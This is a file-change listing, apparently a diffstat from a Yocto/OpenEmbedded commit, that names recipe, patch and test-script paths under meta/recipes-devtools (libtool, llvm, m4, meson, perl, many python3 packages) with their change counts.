-rw-r--r--meta/recipes-devtools/libtool/libtool_2.4.6.bb34
-rw-r--r--meta/recipes-devtools/libtool/libtool_2.4.7.bb34
-rw-r--r--meta/recipes-devtools/libtool/nativesdk-libtool_2.4.6.bb31
-rw-r--r--meta/recipes-devtools/libtool/nativesdk-libtool_2.4.7.bb30
-rw-r--r--meta/recipes-devtools/llvm/llvm/0001-AsmMatcherEmitter-sort-ClassInfo-lists-by-name-as-we.patch31
-rw-r--r--meta/recipes-devtools/llvm/llvm/0006-llvm-TargetLibraryInfo-Undefine-libc-functions-if-th.patch90
-rw-r--r--meta/recipes-devtools/llvm/llvm/0007-llvm-allow-env-override-of-exe-path.patch18
-rw-r--r--meta/recipes-devtools/llvm/llvm/llvm-config51
-rw-r--r--meta/recipes-devtools/llvm/llvm_git.bb144
-rw-r--r--meta/recipes-devtools/log4cplus/log4cplus_2.1.1.bb19
-rw-r--r--meta/recipes-devtools/lua/lua/lua.pc.in9
-rw-r--r--meta/recipes-devtools/lua/lua/run-ptest19
-rw-r--r--meta/recipes-devtools/lua/lua_5.4.6.bb66
-rw-r--r--meta/recipes-devtools/m4/m4-1.4.18.inc62
-rw-r--r--meta/recipes-devtools/m4/m4-1.4.19.inc67
-rw-r--r--meta/recipes-devtools/m4/m4-native_1.4.19.bb (renamed from meta/recipes-devtools/m4/m4-native_1.4.18.bb)0
-rw-r--r--meta/recipes-devtools/m4/m4/0001-Define-alignof_slot-using-_Alignof-when-using-C11-or.patch49
-rw-r--r--meta/recipes-devtools/m4/m4/0001-Unset-need_charset_alias-when-building-for-musl.patch33
-rw-r--r--meta/recipes-devtools/m4/m4/0001-sigsegv-Fix-build-on-ppc-musl.patch37
-rw-r--r--meta/recipes-devtools/m4/m4/0001-test-getopt-posix-fix.patch41
-rw-r--r--meta/recipes-devtools/m4/m4/ac_config_links.patch24
-rw-r--r--meta/recipes-devtools/m4/m4/m4-1.4.18-glibc-change-work-around.patch130
-rw-r--r--meta/recipes-devtools/m4/m4_1.4.19.bb (renamed from meta/recipes-devtools/m4/m4_1.4.18.bb)0
-rw-r--r--meta/recipes-devtools/make/make.inc5
-rw-r--r--meta/recipes-devtools/make/make/0001-makeinst-Do-not-undef-POSIX-on-clang-arm.patch38
-rw-r--r--meta/recipes-devtools/make/make/0001-src-dir.c-fix-buffer-overflow-warning.patch41
-rw-r--r--meta/recipes-devtools/make/make/0002-modules-fcntl-allow-being-detected-by-importing-proj.patch33
-rw-r--r--meta/recipes-devtools/make/make/0002-w32-compat-dirent.c-follow-header.patch36
-rw-r--r--meta/recipes-devtools/make/make/0003-posixfcn-fcntl-gnulib-make-emulated.patch79
-rw-r--r--meta/recipes-devtools/make/make_4.3.bb18
-rw-r--r--meta/recipes-devtools/make/make_4.4.1.bb13
-rw-r--r--meta/recipes-devtools/makedevs/makedevs/COPYING.patch346
-rw-r--r--meta/recipes-devtools/makedevs/makedevs/makedevs.c4
-rw-r--r--meta/recipes-devtools/makedevs/makedevs_1.0.1.bb12
-rw-r--r--meta/recipes-devtools/meson/meson.inc33
-rw-r--r--meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch37
-rw-r--r--meta/recipes-devtools/meson/meson/0001-gnome.py-prefix-g-i-paths-with-PKG_CONFIG_SYSROOT_DI.patch37
-rw-r--r--meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch36
-rw-r--r--meta/recipes-devtools/meson/meson/0001-modules-python.py-do-not-substitute-python-s-install.patch45
-rw-r--r--meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch54
-rw-r--r--meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch6
-rw-r--r--meta/recipes-devtools/meson/meson/0003-native_bindir.patch125
-rw-r--r--meta/recipes-devtools/meson/meson/cross-prop-default.patch23
-rw-r--r--meta/recipes-devtools/meson/meson/disable-rpath-handling.patch35
-rwxr-xr-xmeta/recipes-devtools/meson/meson/meson-setup.py18
-rwxr-xr-xmeta/recipes-devtools/meson/meson/meson-wrapper23
-rw-r--r--meta/recipes-devtools/meson/meson_0.55.0.bb4
-rw-r--r--meta/recipes-devtools/meson/meson_1.3.1.bb158
-rw-r--r--meta/recipes-devtools/meson/nativesdk-meson_0.55.0.bb65
-rw-r--r--meta/recipes-devtools/mklibs/files/ac_init_fix.patch19
-rw-r--r--meta/recipes-devtools/mklibs/files/avoid-failure-on-symbol-provided-by-application.patch103
-rw-r--r--meta/recipes-devtools/mklibs/files/fix_STT_GNU_IFUNC.patch26
-rw-r--r--meta/recipes-devtools/mklibs/files/fix_cross_compile.patch81
-rw-r--r--meta/recipes-devtools/mklibs/files/show-GNU-unique-symbols-as-provided-symbols.patch34
-rw-r--r--meta/recipes-devtools/mklibs/files/sysrooted-ldso.patch18
-rw-r--r--meta/recipes-devtools/mklibs/mklibs-native_0.1.44.bb22
-rw-r--r--meta/recipes-devtools/mmc/mmc-utils/0001-mmc_cmd.c-Use-extra-braces-when-initializing-subobje.patch32
-rw-r--r--meta/recipes-devtools/mmc/mmc-utils_git.bb17
-rw-r--r--meta/recipes-devtools/mtd/mtd-utils/add-exclusion-to-mkfs-jffs2-git-2.patch105
-rw-r--r--meta/recipes-devtools/mtd/mtd-utils_git.bb41
-rw-r--r--meta/recipes-devtools/mtools/mtools/disable-hardcoded-configs.patch6
-rw-r--r--meta/recipes-devtools/mtools/mtools/mtools-makeinfo.patch78
-rw-r--r--meta/recipes-devtools/mtools/mtools/no-x11.gplv3.patch18
-rw-r--r--meta/recipes-devtools/mtools/mtools_4.0.24.bb51
-rw-r--r--meta/recipes-devtools/mtools/mtools_4.0.43.bb49
-rw-r--r--meta/recipes-devtools/nasm/nasm/0001-stdlib-Add-strlcat.patch18
-rw-r--r--meta/recipes-devtools/nasm/nasm/0002-Add-debug-prefix-map-option.patch96
-rw-r--r--meta/recipes-devtools/nasm/nasm_2.15.03.bb21
-rw-r--r--meta/recipes-devtools/nasm/nasm_2.16.01.bb23
-rw-r--r--meta/recipes-devtools/ninja/ninja_1.10.0.bb30
-rw-r--r--meta/recipes-devtools/ninja/ninja_1.11.1.bb33
-rw-r--r--meta/recipes-devtools/opkg-utils/opkg-utils/0001-opkg-build-remove-numeric-owner-parameter-overzealou.patch34
-rw-r--r--meta/recipes-devtools/opkg-utils/opkg-utils/0001-update-alternatives-correctly-match-priority.patch28
-rw-r--r--meta/recipes-devtools/opkg-utils/opkg-utils_0.4.3.bb65
-rw-r--r--meta/recipes-devtools/opkg-utils/opkg-utils_0.6.3.bb66
-rw-r--r--meta/recipes-devtools/opkg/opkg-arch-config_1.0.bb13
-rw-r--r--meta/recipes-devtools/opkg/opkg-keyrings_1.0.bb8
-rw-r--r--meta/recipes-devtools/opkg/opkg/0001-libopkg-Use-libgen.h-to-provide-basename-API.patch62
-rw-r--r--meta/recipes-devtools/opkg/opkg_0.4.3.bb74
-rw-r--r--meta/recipes-devtools/opkg/opkg_0.6.3.bb85
-rw-r--r--meta/recipes-devtools/orc/orc_0.4.31.bb30
-rw-r--r--meta/recipes-devtools/orc/orc_0.4.38.bb30
-rw-r--r--meta/recipes-devtools/packagegroups/packagegroup-core-device-devel.bb16
-rw-r--r--meta/recipes-devtools/patch/patch.inc2
-rw-r--r--meta/recipes-devtools/patch/patch/CVE-2019-13636.patch2
-rw-r--r--meta/recipes-devtools/patch/patch/CVE-2019-20633.patch31
-rw-r--r--meta/recipes-devtools/patch/patch_2.7.6.bb5
-rw-r--r--meta/recipes-devtools/patchelf/patchelf/0001-Set-interpreter-only-when-necessary.patch31
-rw-r--r--meta/recipes-devtools/patchelf/patchelf/0002-align-startOffset-with-p_align-instead-of-pagesize-f.patch42
-rw-r--r--meta/recipes-devtools/patchelf/patchelf/0003-make-LOAD-segment-extensions-based-on-p_align-instea.patch32
-rw-r--r--meta/recipes-devtools/patchelf/patchelf/handle-read-only-files.patch52
-rw-r--r--meta/recipes-devtools/patchelf/patchelf_0.11.bb16
-rw-r--r--meta/recipes-devtools/patchelf/patchelf_0.18.0.bb23
-rw-r--r--meta/recipes-devtools/perl-cross/files/0001-Makefile-check-the-file-if-patched-or-not.patch29
-rw-r--r--meta/recipes-devtools/perl-cross/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch (renamed from meta/recipes-devtools/perl/files/0001-perl-cross-add-LDFLAGS-when-linking-libperl.patch)2
-rw-r--r--meta/recipes-devtools/perl-cross/files/README.md29
-rw-r--r--meta/recipes-devtools/perl-cross/files/determinism.patch46
-rw-r--r--meta/recipes-devtools/perl-cross/perlcross_1.5.2.bb38
-rw-r--r--meta/recipes-devtools/perl/files/0001-CheckLib.pm-do-not-attempt-to-run-a-cross-executable.patch24
-rw-r--r--meta/recipes-devtools/perl/files/0001-ExtUtils-MakeMaker-add-LDFLAGS-when-linking-binary-m.patch26
-rw-r--r--meta/recipes-devtools/perl/files/0001-Fix-intermittent-failure-of-test-t-op-sigsystem.t.patch77
-rw-r--r--meta/recipes-devtools/perl/files/0001-configure_path.sh-do-not-hardcode-prefix-lib-as-libr.patch69
-rw-r--r--meta/recipes-devtools/perl/files/0001-configure_tool.sh-do-not-quote-the-argument-to-comma.patch29
-rw-r--r--meta/recipes-devtools/perl/files/0001-cpan-Sys-Syslog-Makefile.PL-Fix-_PATH_LOG-for-determ.patch36
-rw-r--r--meta/recipes-devtools/perl/files/determinism.patch23
-rw-r--r--meta/recipes-devtools/perl/files/native-perlinc.patch2
-rw-r--r--meta/recipes-devtools/perl/files/perl-configpm-switch.patch66
-rw-r--r--meta/recipes-devtools/perl/files/perl-cross-makefile.patch29
-rw-r--r--meta/recipes-devtools/perl/files/perl-dynloader.patch4
-rw-r--r--meta/recipes-devtools/perl/files/perl-rdepends.txt4355
-rw-r--r--meta/recipes-devtools/perl/files/run-ptest2
-rw-r--r--meta/recipes-devtools/perl/liberror-perl_0.17029.bb47
-rw-r--r--meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb123
-rw-r--r--meta/recipes-devtools/perl/libmodule-build-perl_0.4234.bb138
-rw-r--r--meta/recipes-devtools/perl/libtest-fatal-perl_0.017.bb36
-rw-r--r--meta/recipes-devtools/perl/libtest-needs-perl_0.002006.bb29
-rw-r--r--meta/recipes-devtools/perl/libtest-needs-perl_0.002010.bb28
-rw-r--r--meta/recipes-devtools/perl/libtest-warnings-perl_0.033.bb36
-rw-r--r--meta/recipes-devtools/perl/libtry-tiny-perl_0.31.bb36
-rw-r--r--meta/recipes-devtools/perl/liburi-perl/0001-Skip-TODO-test-cases-that-fail.patch110
-rw-r--r--meta/recipes-devtools/perl/liburi-perl_1.74.bb50
-rw-r--r--meta/recipes-devtools/perl/liburi-perl_5.28.bb56
-rw-r--r--meta/recipes-devtools/perl/libxml-parser-perl/0001-Makefile.PL-make-check_lib-cross-friendly.patch28
-rw-r--r--meta/recipes-devtools/perl/libxml-parser-perl_2.46.bb58
-rw-r--r--meta/recipes-devtools/perl/libxml-parser-perl_2.47.bb42
-rw-r--r--meta/recipes-devtools/perl/libxml-perl_0.08.bb7
-rw-r--r--meta/recipes-devtools/perl/libxml-simple-perl_2.25.bb6
-rw-r--r--meta/recipes-devtools/perl/perl-ptest.inc10
-rw-r--r--meta/recipes-devtools/perl/perl_5.32.0.bb384
-rw-r--r--meta/recipes-devtools/perl/perl_5.38.2.bb426
-rw-r--r--meta/recipes-devtools/pkgconf/pkgconf_1.7.3.bb67
-rw-r--r--meta/recipes-devtools/pkgconf/pkgconf_2.2.0.bb67
-rw-r--r--meta/recipes-devtools/pkgconfig/pkgconfig/fix-glib-configure-libtool-usage.patch45
-rw-r--r--meta/recipes-devtools/pkgconfig/pkgconfig_git.bb24
-rw-r--r--meta/recipes-devtools/prelink/prelink/0001-Add-MIPS-gnu-hash-support.patch110
-rw-r--r--meta/recipes-devtools/prelink/prelink/macros.prelink5
-rw-r--r--meta/recipes-devtools/prelink/prelink/prelink.conf18
-rw-r--r--meta/recipes-devtools/prelink/prelink/prelink.cron.daily40
-rw-r--r--meta/recipes-devtools/prelink/prelink/prelink.default22
-rw-r--r--meta/recipes-devtools/prelink/prelink_git.bb183
-rwxr-xr-xmeta/recipes-devtools/pseudo/files/build-oldlibc20
-rw-r--r--meta/recipes-devtools/pseudo/files/glibc238.patch59
-rw-r--r--meta/recipes-devtools/pseudo/files/older-glibc-symbols.patch57
-rw-r--r--meta/recipes-devtools/pseudo/pseudo.inc34
-rw-r--r--meta/recipes-devtools/pseudo/pseudo_git.bb23
-rw-r--r--meta/recipes-devtools/python-numpy/python-numpy.inc49
-rw-r--r--meta/recipes-devtools/python-numpy/python3-numpy_1.19.0.bb3
-rw-r--r--meta/recipes-devtools/python/python-async.inc14
-rw-r--r--meta/recipes-devtools/python/python-cython.inc45
-rw-r--r--meta/recipes-devtools/python/python-gitdb.inc23
-rw-r--r--meta/recipes-devtools/python/python-nose.inc18
-rw-r--r--meta/recipes-devtools/python/python-pbr.inc2
-rw-r--r--meta/recipes-devtools/python/python-pyasn1.inc31
-rw-r--r--meta/recipes-devtools/python/python-pycryptodome.inc18
-rw-r--r--meta/recipes-devtools/python/python-pyparsing.inc22
-rw-r--r--meta/recipes-devtools/python/python-rfc3986-validator/0001-setup.py-move-pytest-runner-to-test_requirements.patch32
-rw-r--r--meta/recipes-devtools/python/python-six.inc2
-rw-r--r--meta/recipes-devtools/python/python-smmap.inc19
-rw-r--r--meta/recipes-devtools/python/python-subunit.inc14
-rw-r--r--meta/recipes-devtools/python/python-testtools.inc28
-rw-r--r--meta/recipes-devtools/python/python3-alabaster_0.7.16.bb12
-rw-r--r--meta/recipes-devtools/python/python3-asn1crypto_1.5.1.bb24
-rw-r--r--meta/recipes-devtools/python/python3-async_0.6.2.bb2
-rw-r--r--meta/recipes-devtools/python/python3-atomicwrites/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-atomicwrites_1.4.1.bb27
-rw-r--r--meta/recipes-devtools/python/python3-attrs/0001-conftest.py-disable-deadline.patch45
-rw-r--r--meta/recipes-devtools/python/python3-attrs/0001-test_funcs-skip-test_unknown-for-pytest-8.patch30
-rw-r--r--meta/recipes-devtools/python/python3-attrs/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-attrs_23.2.0.bb39
-rw-r--r--meta/recipes-devtools/python/python3-babel_2.14.0.bb26
-rw-r--r--meta/recipes-devtools/python/python3-bcrypt-crates.inc114
-rw-r--r--meta/recipes-devtools/python/python3-bcrypt/0001-Bump-pyo3-from-0.20.0-to-0.20.3-in-src-_bcrypt-746.patch111
-rw-r--r--meta/recipes-devtools/python/python3-bcrypt/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-bcrypt_4.1.2.bb37
-rw-r--r--meta/recipes-devtools/python/python3-beartype_0.18.2.bb11
-rw-r--r--meta/recipes-devtools/python/python3-booleanpy_4.0.bb13
-rw-r--r--meta/recipes-devtools/python/python3-build_1.2.1.bb32
-rw-r--r--meta/recipes-devtools/python/python3-calver/0001-setup.py-hard-code-version.patch32
-rw-r--r--meta/recipes-devtools/python/python3-calver/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-calver_2022.6.26.bb28
-rw-r--r--meta/recipes-devtools/python/python3-certifi_2024.2.2.bb16
-rw-r--r--meta/recipes-devtools/python/python3-cffi_1.16.0.bb18
-rw-r--r--meta/recipes-devtools/python/python3-chardet_5.2.0.bb24
-rw-r--r--meta/recipes-devtools/python/python3-click/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-click_8.1.7.bb39
-rw-r--r--meta/recipes-devtools/python/python3-cryptography-crates.inc102
-rw-r--r--meta/recipes-devtools/python/python3-cryptography-vectors_42.0.5.bb31
-rw-r--r--meta/recipes-devtools/python/python3-cryptography/0001-pyproject.toml-remove-benchmark-disable-option.patch43
-rwxr-xr-xmeta/recipes-devtools/python/python3-cryptography/check-memfree.py10
-rw-r--r--meta/recipes-devtools/python/python3-cryptography/run-ptest9
-rw-r--r--meta/recipes-devtools/python/python3-cryptography_42.0.5.bb67
-rw-r--r--meta/recipes-devtools/python/python3-cython_0.29.21.bb18
-rw-r--r--meta/recipes-devtools/python/python3-cython_3.0.9.bb37
-rw-r--r--meta/recipes-devtools/python/python3-dbus_1.2.16.bb26
-rw-r--r--meta/recipes-devtools/python/python3-dbus_1.3.2.bb23
-rw-r--r--meta/recipes-devtools/python/python3-dbusmock_0.19.bb17
-rw-r--r--meta/recipes-devtools/python/python3-dbusmock_0.31.1.bb22
-rw-r--r--meta/recipes-devtools/python/python3-docutils_0.16.bb17
-rw-r--r--meta/recipes-devtools/python/python3-docutils_0.20.1.bb20
-rw-r--r--meta/recipes-devtools/python/python3-dtc/0001-Revert-libfdt-overlay-make-overlay_get_target-public.patch132
-rw-r--r--meta/recipes-devtools/python/python3-dtc_1.7.0.bb25
-rw-r--r--meta/recipes-devtools/python/python3-dtschema_2024.2.bb20
-rw-r--r--meta/recipes-devtools/python/python3-editables_0.5.bb15
-rw-r--r--meta/recipes-devtools/python/python3-flit-core_3.9.0.bb37
-rw-r--r--meta/recipes-devtools/python/python3-git_3.1.43.bb32
-rw-r--r--meta/recipes-devtools/python/python3-git_3.1.7.bb32
-rw-r--r--meta/recipes-devtools/python/python3-gitdb_4.0.11.bb22
-rw-r--r--meta/recipes-devtools/python/python3-gitdb_4.0.5.bb4
-rw-r--r--meta/recipes-devtools/python/python3-hatch-fancy-pypi-readme_24.1.0.bb14
-rw-r--r--meta/recipes-devtools/python/python3-hatch-vcs_0.4.0.bb14
-rw-r--r--meta/recipes-devtools/python/python3-hatchling_1.22.4.bb17
-rw-r--r--meta/recipes-devtools/python/python3-hypothesis/run-ptest10
-rw-r--r--meta/recipes-devtools/python/python3-hypothesis/test_binary_search.py135
-rw-r--r--meta/recipes-devtools/python/python3-hypothesis/test_rle.py101
-rw-r--r--meta/recipes-devtools/python/python3-hypothesis_6.99.4.bb39
-rw-r--r--meta/recipes-devtools/python/python3-idna_3.6.bb14
-rw-r--r--meta/recipes-devtools/python/python3-imagesize_1.4.1.bb13
-rw-r--r--meta/recipes-devtools/python/python3-importlib-metadata_7.1.0.bb20
-rw-r--r--meta/recipes-devtools/python/python3-iniconfig_2.0.0.bb13
-rw-r--r--meta/recipes-devtools/python/python3-iniparse/0001-Add-python-3-compatibility.patch552
-rw-r--r--meta/recipes-devtools/python/python3-iniparse_0.4.bb17
-rw-r--r--meta/recipes-devtools/python/python3-iniparse_0.5.bb14
-rw-r--r--meta/recipes-devtools/python/python3-installer/interpreter.patch71
-rw-r--r--meta/recipes-devtools/python/python3-installer_0.7.0.bb34
-rw-r--r--meta/recipes-devtools/python/python3-iso8601_2.1.0.bb15
-rw-r--r--meta/recipes-devtools/python/python3-isodate_0.6.1.bb16
-rw-r--r--meta/recipes-devtools/python/python3-jinja2/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-jinja2_3.1.3.bb48
-rw-r--r--meta/recipes-devtools/python/python3-jsonpointer/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-jsonpointer_2.4.bb28
-rw-r--r--meta/recipes-devtools/python/python3-jsonschema-specifications_2023.12.1.bb16
-rw-r--r--meta/recipes-devtools/python/python3-jsonschema_4.21.1.bb50
-rw-r--r--meta/recipes-devtools/python/python3-libarchive-c_2.9.bb21
-rw-r--r--meta/recipes-devtools/python/python3-libarchive-c_5.1.bb21
-rw-r--r--meta/recipes-devtools/python/python3-license-expression/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-license-expression_30.3.0.bb38
-rw-r--r--meta/recipes-devtools/python/python3-lxml_5.1.0.bb42
-rw-r--r--meta/recipes-devtools/python/python3-magic_0.4.18.bb22
-rw-r--r--meta/recipes-devtools/python/python3-magic_0.4.27.bb22
-rw-r--r--meta/recipes-devtools/python/python3-mako_1.1.3.bb20
-rw-r--r--meta/recipes-devtools/python/python3-mako_1.3.2.bb20
-rw-r--r--meta/recipes-devtools/python/python3-markdown_3.6.bb13
-rw-r--r--meta/recipes-devtools/python/python3-markupsafe/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-markupsafe_2.1.5.bb27
-rw-r--r--meta/recipes-devtools/python/python3-maturin-crates.inc618
-rw-r--r--meta/recipes-devtools/python/python3-maturin/0001-Add-32-bit-RISC-V-support.patch102
-rw-r--r--meta/recipes-devtools/python/python3-maturin_1.4.0.bb43
-rw-r--r--meta/recipes-devtools/python/python3-meson-python_0.15.0.bb27
-rw-r--r--meta/recipes-devtools/python/python3-more-itertools/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-more-itertools_10.2.0.bb29
-rw-r--r--meta/recipes-devtools/python/python3-ndg-httpsclient_0.5.1.bb31
-rw-r--r--meta/recipes-devtools/python/python3-nose_1.3.7.bb2
-rw-r--r--meta/recipes-devtools/python/python3-numpy/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch (renamed from meta/recipes-devtools/python-numpy/files/0001-Don-t-search-usr-and-so-on-for-libraries-by-default-.patch)21
-rw-r--r--meta/recipes-devtools/python/python3-numpy/0001-numpy-core-Define-RISCV-32-support.patch50
-rw-r--r--meta/recipes-devtools/python/python3-numpy/fix_reproducibility.patch33
-rw-r--r--meta/recipes-devtools/python/python3-numpy/run-ptest5
-rw-r--r--meta/recipes-devtools/python/python3-numpy_1.26.4.bb64
-rw-r--r--meta/recipes-devtools/python/python3-packaging_24.0.bb18
-rw-r--r--meta/recipes-devtools/python/python3-pathlib2_2.3.7.bb12
-rw-r--r--meta/recipes-devtools/python/python3-pathspec_0.12.1.bb13
-rw-r--r--meta/recipes-devtools/python/python3-pbr_5.4.4.bb5
-rw-r--r--meta/recipes-devtools/python/python3-pbr_6.0.0.bb4
-rw-r--r--meta/recipes-devtools/python/python3-pip/0001-change-shebang-to-python3.patch60
-rw-r--r--meta/recipes-devtools/python/python3-pip/no_shebang_mangling.patch36
-rw-r--r--meta/recipes-devtools/python/python3-pip_20.0.2.bb33
-rw-r--r--meta/recipes-devtools/python/python3-pip_24.0.bb60
-rw-r--r--meta/recipes-devtools/python/python3-pluggy/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-pluggy_1.4.0.bb29
-rw-r--r--meta/recipes-devtools/python/python3-ply_3.11.bb18
-rw-r--r--meta/recipes-devtools/python/python3-poetry-core_1.9.0.bb42
-rw-r--r--meta/recipes-devtools/python/python3-pretend_1.0.9.bb11
-rw-r--r--meta/recipes-devtools/python/python3-psutil_5.9.8.bb41
-rw-r--r--meta/recipes-devtools/python/python3-py_1.11.0.bb14
-rw-r--r--meta/recipes-devtools/python/python3-pyasn1/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-pyasn1_0.6.0.bb3
-rw-r--r--meta/recipes-devtools/python/python3-pycairo_1.19.1.bb27
-rw-r--r--meta/recipes-devtools/python/python3-pycairo_1.26.0.bb26
-rw-r--r--meta/recipes-devtools/python/python3-pycparser_2.21.bb21
-rw-r--r--meta/recipes-devtools/python/python3-pycryptodome_3.20.0.bb5
-rw-r--r--meta/recipes-devtools/python/python3-pycryptodome_3.9.8.bb5
-rw-r--r--meta/recipes-devtools/python/python3-pycryptodomex_3.20.0.bb9
-rw-r--r--meta/recipes-devtools/python/python3-pycryptodomex_3.9.8.bb9
-rw-r--r--meta/recipes-devtools/python/python3-pyelftools_0.26.bb14
-rw-r--r--meta/recipes-devtools/python/python3-pyelftools_0.31.bb15
-rw-r--r--meta/recipes-devtools/python/python3-pygments_2.17.2.bb14
-rw-r--r--meta/recipes-devtools/python/python3-pygments_2.6.1.bb20
-rw-r--r--meta/recipes-devtools/python/python3-pygobject/0001-Do-not-build-tests.patch30
-rw-r--r--meta/recipes-devtools/python/python3-pygobject_3.36.1.bb33
-rw-r--r--meta/recipes-devtools/python/python3-pygobject_3.48.1.bb39
-rw-r--r--meta/recipes-devtools/python/python3-pyopenssl_24.1.0.bb23
-rw-r--r--meta/recipes-devtools/python/python3-pyparsing_2.4.7.bb3
-rw-r--r--meta/recipes-devtools/python/python3-pyparsing_3.1.2.bb30
-rw-r--r--meta/recipes-devtools/python/python3-pyproject-hooks_1.0.0.bb26
-rw-r--r--meta/recipes-devtools/python/python3-pyproject-metadata_0.7.1.bb27
-rw-r--r--meta/recipes-devtools/python/python3-pyrsistent_0.20.0.bb14
-rw-r--r--meta/recipes-devtools/python/python3-pysocks_1.7.1.bb20
-rw-r--r--meta/recipes-devtools/python/python3-pytest-runner_6.0.1.bb16
-rw-r--r--meta/recipes-devtools/python/python3-pytest-subtests_0.12.1.bb20
-rw-r--r--meta/recipes-devtools/python/python3-pytest_8.1.1.bb41
-rw-r--r--meta/recipes-devtools/python/python3-pytz/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-pytz_2024.1.bb36
-rw-r--r--meta/recipes-devtools/python/python3-pyyaml/0001-Fix-builds-with-Cython-3.patch54
-rw-r--r--meta/recipes-devtools/python/python3-pyyaml/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-pyyaml_6.0.1.bb40
-rw-r--r--meta/recipes-devtools/python/python3-rdflib_7.0.0.bb21
-rw-r--r--meta/recipes-devtools/python/python3-referencing_0.34.0.bb14
-rw-r--r--meta/recipes-devtools/python/python3-requests_2.31.0.bb26
-rw-r--r--meta/recipes-devtools/python/python3-rfc3339-validator_0.1.4.bb21
-rw-r--r--meta/recipes-devtools/python/python3-rfc3986-validator_0.1.1.bb24
-rw-r--r--meta/recipes-devtools/python/python3-rfc3987_1.3.8.bb11
-rw-r--r--meta/recipes-devtools/python/python3-rpds-py-crates.inc80
-rw-r--r--meta/recipes-devtools/python/python3-rpds-py_0.18.0.bb15
-rw-r--r--meta/recipes-devtools/python/python3-ruamel-yaml_0.18.6.bb23
-rw-r--r--meta/recipes-devtools/python/python3-scons-native_3.1.2.bb7
-rw-r--r--meta/recipes-devtools/python/python3-scons/0001-Fix-man-page-installation.patch29
-rw-r--r--meta/recipes-devtools/python/python3-scons_3.1.2.bb33
-rw-r--r--meta/recipes-devtools/python/python3-scons_4.7.0.bb36
-rw-r--r--meta/recipes-devtools/python/python3-semantic-version_2.10.0.bb18
-rw-r--r--meta/recipes-devtools/python/python3-setuptools-rust_1.9.0.bb35
-rw-r--r--meta/recipes-devtools/python/python3-setuptools-scm_8.0.4.bb31
-rw-r--r--meta/recipes-devtools/python/python3-setuptools/0001-_distutils-sysconfig.py-make-it-possible-to-substite.patch58
-rw-r--r--meta/recipes-devtools/python/python3-setuptools/0001-change-shebang-to-python3.patch25
-rw-r--r--meta/recipes-devtools/python/python3-setuptools/0001-conditionally-do-not-fetch-code-by-easy_install.patch (renamed from meta/recipes-devtools/python/files/0001-conditionally-do-not-fetch-code-by-easy_install.patch)11
-rw-r--r--meta/recipes-devtools/python/python3-setuptools_49.2.1.bb65
-rw-r--r--meta/recipes-devtools/python/python3-setuptools_69.2.0.bb55
-rw-r--r--meta/recipes-devtools/python/python3-six_1.15.0.bb5
-rw-r--r--meta/recipes-devtools/python/python3-six_1.16.0.bb4
-rw-r--r--meta/recipes-devtools/python/python3-smartypants/0001-Change-hash-bang-to-python3.patch47
-rw-r--r--meta/recipes-devtools/python/python3-smartypants_2.0.0.bb14
-rw-r--r--meta/recipes-devtools/python/python3-smmap_3.0.4.bb3
-rw-r--r--meta/recipes-devtools/python/python3-smmap_6.0.0.bb19
-rw-r--r--meta/recipes-devtools/python/python3-snowballstemmer_2.2.0.bb13
-rw-r--r--meta/recipes-devtools/python/python3-sortedcontainers_2.4.0.bb9
-rw-r--r--meta/recipes-devtools/python/python3-spdx-tools_0.8.2.bb28
-rw-r--r--meta/recipes-devtools/python/python3-sphinx-rtd-theme_2.0.0.bb26
-rw-r--r--meta/recipes-devtools/python/python3-sphinx_7.2.6.bb35
-rw-r--r--meta/recipes-devtools/python/python3-sphinxcontrib-applehelp_1.0.8.bb12
-rw-r--r--meta/recipes-devtools/python/python3-sphinxcontrib-devhelp_1.0.6.bb12
-rw-r--r--meta/recipes-devtools/python/python3-sphinxcontrib-htmlhelp_2.0.5.bb12
-rw-r--r--meta/recipes-devtools/python/python3-sphinxcontrib-jquery_4.1.bb12
-rw-r--r--meta/recipes-devtools/python/python3-sphinxcontrib-jsmath_1.0.1.bb12
-rw-r--r--meta/recipes-devtools/python/python3-sphinxcontrib-qthelp_1.0.7.bb12
-rw-r--r--meta/recipes-devtools/python/python3-sphinxcontrib-serializinghtml_1.1.10.bb12
-rw-r--r--meta/recipes-devtools/python/python3-subunit_1.4.0.bb4
-rw-r--r--meta/recipes-devtools/python/python3-subunit_1.4.4.bb15
-rw-r--r--meta/recipes-devtools/python/python3-testtools/no_traceback2.patch23
-rw-r--r--meta/recipes-devtools/python/python3-testtools_2.4.0.bb4
-rw-r--r--meta/recipes-devtools/python/python3-testtools_2.7.1.bb20
-rw-r--r--meta/recipes-devtools/python/python3-toml_0.10.2.bb15
-rw-r--r--meta/recipes-devtools/python/python3-tomli_2.0.1.bb18
-rw-r--r--meta/recipes-devtools/python/python3-trove-classifiers/run-ptest3
-rw-r--r--meta/recipes-devtools/python/python3-trove-classifiers_2024.3.3.bb26
-rw-r--r--meta/recipes-devtools/python/python3-typing-extensions_4.11.0.bb24
-rw-r--r--meta/recipes-devtools/python/python3-typogrify_2.0.7.bb14
-rw-r--r--meta/recipes-devtools/python/python3-unittest-automake-output_0.2.bb13
-rw-r--r--meta/recipes-devtools/python/python3-uritools_4.0.2.bb11
-rw-r--r--meta/recipes-devtools/python/python3-urllib3_2.2.1.bb24
-rw-r--r--meta/recipes-devtools/python/python3-vcversioner_2.16.0.0.bb12
-rw-r--r--meta/recipes-devtools/python/python3-wcwidth/run-ptest3
